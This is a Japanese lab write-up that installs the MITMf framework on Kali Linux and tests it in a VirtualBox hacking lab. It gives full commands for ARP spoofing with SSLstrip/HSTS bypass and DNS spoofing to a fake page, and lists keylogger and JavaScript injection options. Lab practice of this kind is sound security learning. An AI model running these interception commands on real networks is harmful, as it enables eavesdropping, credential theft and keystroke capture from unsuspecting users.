Kali Linux2022.1 でハッキングラボをつくってみる8 Wiresharkでパケットキャプチャ6 MITMfで中間者攻撃（暫定版）

# はじめに
「ハッキング・ラボのつくりかた」(IPUSIRON著)を参考に、KaliLinux2022.1でもうまくいくか検証している記事です。
今回は、同書のp.487-498をもとにしています。MITMfのインストールと、それを用いた中間者攻撃の実験をします。
MITMfは中間者攻撃を支援するフレームワークです。SSLstrip攻撃を実装していて、暗号化されたhttps/sslをパイパスする機能があります。

# MITMfのインストール
以前、インストールを試みたところ、難渋したあげく、失敗してしまった。
しかし、今回もう一度試してみたところ、うまく動作した！！
諦めかけていたところなので、個人的には嬉しい。
## やったほうが良い事前準備
KaliLinuxの仮想マシンにスナップショットかクローンを作成しておくと良いかもしれない。
MITMfのインストールに際して、さまざまなdebパッケージ、pipパッケージ、仮想環境の導入、設定ファイルの変更が行われる。パッケージ関係がきれいな状態のスナップショットかクローンを、VirtualBoxの機能を使用して保存しておく。

## インストール
1,root権限になってから、リポジトリとパッケージの更新を行う。
```
sudo -i
//または、次のコマンドでrootになっておく。
sudo su -

apt update && apt upgrade
```
もし、このパッケージの更新で、KaliLinuxの再起動が推奨されたら、再起動を行う。
場合によっては、非常に時間がかかる（数時間）場合もあるので、留意しておく。
個人的な経験として、`apt upgrade`をかけた時に、パッケージの更新が数百MBぐらい必要とされて、なおかつmetasploit-framework関係のパッケージ更新も必要な場合なら、非常に時間がかかる。
もし、再起動させたら、端末を立ち上げ直したあと、`sudo -i`などでrootになっておく。

2,pythonのバージョンについて把握しておく。特に、python2系が使用できることを確認する。
```
file `which python` && python -V
```
> /usr/bin/python: symbolic link to python3
Python 3.10.4

KaliLinux2022.1で`python`のコマンドを実行するときに呼び出されるのは、`python3`であることがわかる。
次に、
```
file `which python2` && python2 -V
```
>/usr/bin/python2: symbolic link to python2.7
Python 2.7.18

また、`ls -al /usr/bin/python*`や`file /usr/bin/python*`を実行すると、
python -> python3 -> python3.10
python2 -> python2.7
といった具合に、シンボリックリンクが形成されていることが確認できる。細かなバージョンの違いはあるが、python2系とpython3系の確認をしておく。

3,次に、必要なパッケージをインストールする。`pwd`でカレントディレクトリが/root/であることを確認しておく。
```shell-session:/root/
apt install python2-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone4 libcapstone-dev libffi-dev
```
```shell-session:/root/
apt install python3-pip
```

4, virtualenvwrapperのインストールと設定を行う。
```shell-session:/root/
pip install virtualenvwrapper
vim .zshrc
//もし、bashや他のshellを使用していたなら、そのシェルのスタートアップファイル".SHELL名rc"を編集
vim .bashrc
```
```shell:.zshrc
VIRTUALENVWRAPPER_PYTHON=/usr/bin/python
source /usr/local/bin/virtualenvwrapper.sh
```
編集内容は、bashなどでも同じ。

5, MITMf用の環境を仮想環境をつくる。MITMfをgitからクローンする。
```
mkvirtualenv MITMf -p /usr/bin/python2
git clone https://github.com/byt3bl33d3r/MITMf
cd MITMf
git submodule init
git submodule update --recursive
```
`mkvirtualenv MITMf -p /usr/bin/python2.7`の-pオプションは、"/usr/bin/python2"と指定しても良いかもしれない。前述のコマンドと記述に統一感が出る。

`which python`,`which python2`,`which pip`,`which pip2`コマンドで、pythonのコマンドがどこにあるかを確認しておく。正常にmitmfの仮想環境が立ち上がっていたら、/root/.virtualenvs/ディレクトリ以下にある。

6, requirement.txtを編集した後、pipパッケージをインストール
一応、バックアップを作る。
```shell-session:(MITMf) /root/MITMf/
cp requirements.txt requirements.txt.old
```
requirements.txtの１行目のみを編集する。
```text:requirements.txt １行目 編集前
git+https://github.com/kti/python-netfilterqueue
```
```text:requirements.txt １行目 編集後
netfilterqueue
```
その後、`pip`コマンドで必要なパッケージをインストールする。
```shell-session:(MITMf) /root/MITMf/
pip install -r requirements.txt
```
もし、エラーが起きたら、requirementsにかかれているパッケージを一つずつインストールしてみる。

7, うまく起動できるかどうかを確認する。
6で新しく立ち上げた端末内で、次のコマンドを実行する。

```shell-session:(MITMf) /root/MITMf/
python mitmf.py
python /root/MITMf/mitmf.py -v
```

# MITMfでキャプチャを実行する
```shell-session:(MITMf) /root/MITMf
python mitmf.py -i eth2 --arp --spoof --gateway 192.168.1.1 --target 192.168.1.17 --hsts
```
- -i : KaliLinuxのネットワークインターフェース名を指定
- --arp : ARPスプーフィングを使うために、トラフィックをリダイレクトする
- --spoof : Spoofプラグインをロードする
- --gateway : ゲートウェイ（ルーター）のIPアドレスを指定
- --target : ターゲットやられPCのIPアドレスを指定
- --hsts : SSLstrip+プラグインをロードする

--hstsオプション無しだと、SSLstripプラグインがロードされて起動する。 
![VirtualBox_kali-linux-2022.1-virtualbox-amd64 のリンククローン_mitmf1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/b5b76299-0c28-96a3-7d1c-ead3d52c62fb.png)
ターゲットの挙動として、インターネットが繋がらなくなる。(厳密には、非常に遅くなってタイムアウトする）
また、MITMfの実行中は、kaliLinuxの"/etc/sys/net/ipv4/ip_forward"が"1"と成っていて、IP転送機能が有効になっている。MITMfを終了すると、"0"となって、無効になる。

wiresharkで、eth2を指定してキャプチャする。
![VirtualBox_kali-linux-2022.1-virtualbox-amd64 のリンククローン_mitmf_wireshark.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/2985b70f-5f6c-3b58-5d60-f18ac5f924bb.png)

# DNSスプーフィング
DNSへのURLの問い合わせに対して、偽の情報を越えさせる攻撃。
ターゲットを偽のサイトに誘導できる。
## 偽サイト作成
```
cd /var/www/html/
sudo cp index.html index.html.org
sudo rm index.html
sudo vim index.html 
```
書き換える内容
```html:index.html
<html>
<!Doctype html>
<head>
<title>偽ページ</title>
<meta charset=utf-8>
</head>
<body>
<h1>DNSスプーフィングによって表示される偽のページです。</h1>
</body>
</html>
```
Apache2の再起動
```
sudo systemctl restart apache2
```

## MITMfの設定ファイルを編集する
"/root/MITMf/config/mitmf.conf"を編集する。
40行目周辺のAレコードの設定を書き換える。www.akademia.infoが192.168.1.100を指し示すようにするだけ。他のところはいじらない。
```conf:/root/MITMf/config/mitmf.conf 40行目周辺
[[[A]]]     # Queries for IPv4 address records
                *.thesprawl.org=192.168.178.27
                #*.captive.portal=192.168.1.100
                www.akademia.info=192.168.1.100
```
## DNSスプーフィング
```shell:(MITMf) /root/MITMf 
python mitmf.py -i eth2 --arp --spoof --gateway 192.168.1.1 --target 192.168.1.17 --dns
```
- -i : KaliLinuxのネットワークインターフェース名を指定
- --arp : ARPスプーフィングを使うために、トラフィックをリダイレクトする
- --spoof : Spoofプラグインをロードする
- --gateway : ゲートウェイ（ルーター）のIPアドレスを指定
- --target : ターゲットやられPCのIPアドレスを指定
- --dns ： DNSスプーフィングを実行
ターゲットのブラウザからwww.akademia.infoにアクセスする。
しかし、同サイトが表示されない、若しくはつながらない。
MITMfのログには、アクセスがある。

![VirtualBox_kali-linux-2022.1-virtualbox-amd64 のリンククローン_mitmf_dns.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/b5200a23-39a3-175b-528a-fed2b4246b21.png)
赤い枠で囲ったところが、エラーの原因か・・・
などと思ったところで、Ctrl+CでDNSスプーフィングを停止したところで、偽サイトが表示された・・・。
挙動がよくわからん・・・

# その他のテクニック
同書の内容を紹介だけ

- 画像を逆さまにする
```:/root/MITMf
python mitmf.py -i eth2 --arp --spoof --gateway 192.168.1.1 --target 192.168.1.17 --upsidedownternet
```
- ブラウザの表示をスクショする
```:/root/MITMf
python mitmf.py -i eth2 --arp --spoof --gateway 192.168.1.1 --target 192.168.1.17 --screen --interval <sec>
```

- キーロガーを埋め込む
```:/root/MITMf
python mitmf.py -i eth2 --arp --spoof --gateway 192.168.1.1 --target 192.168.1.17 --jskeylogger
```
ファイル出力したいなら、`>> ./keylog.txt`を、最後に付け加えてリダレクトとする。

- Code Injection(Injectionプラグイン)
```:/root/MITMf
python mitmf.py -i eth2 --arp --spoof --gateway 192.168.1.1 --target 192.168.1.17 --inject --js-file <jsスクリプトのパス>
python mitmf.py -i eth2 --arp --spoof --gateway 192.168.1.1 --target 192.168.1.17 --inject --js-url <jsスクリプトのURL>
python mitmf.py -i eth2 --arp --spoof --gateway 192.168.1.1 --target 192.168.1.17 --inject --js-payload "<javascriptのコード>"
```
JavascriptまたはHTMLをwebページに注入する。
# おわりに
結局、あんまりうまくいかなかった気がする。BeEfがうまくいけるか不安。
参考にしたもの
「ハッキング・ラボのつくりかた」(IPUSIRON著)

https://nudesystems.com/how-to-install-mitmf-in-kali-linux-2021/

https://techdhee.in/install-mitmf-framework-in-kali-linux/

http://s-akademeia.sakura.ne.jp/main/books/lab/faq.html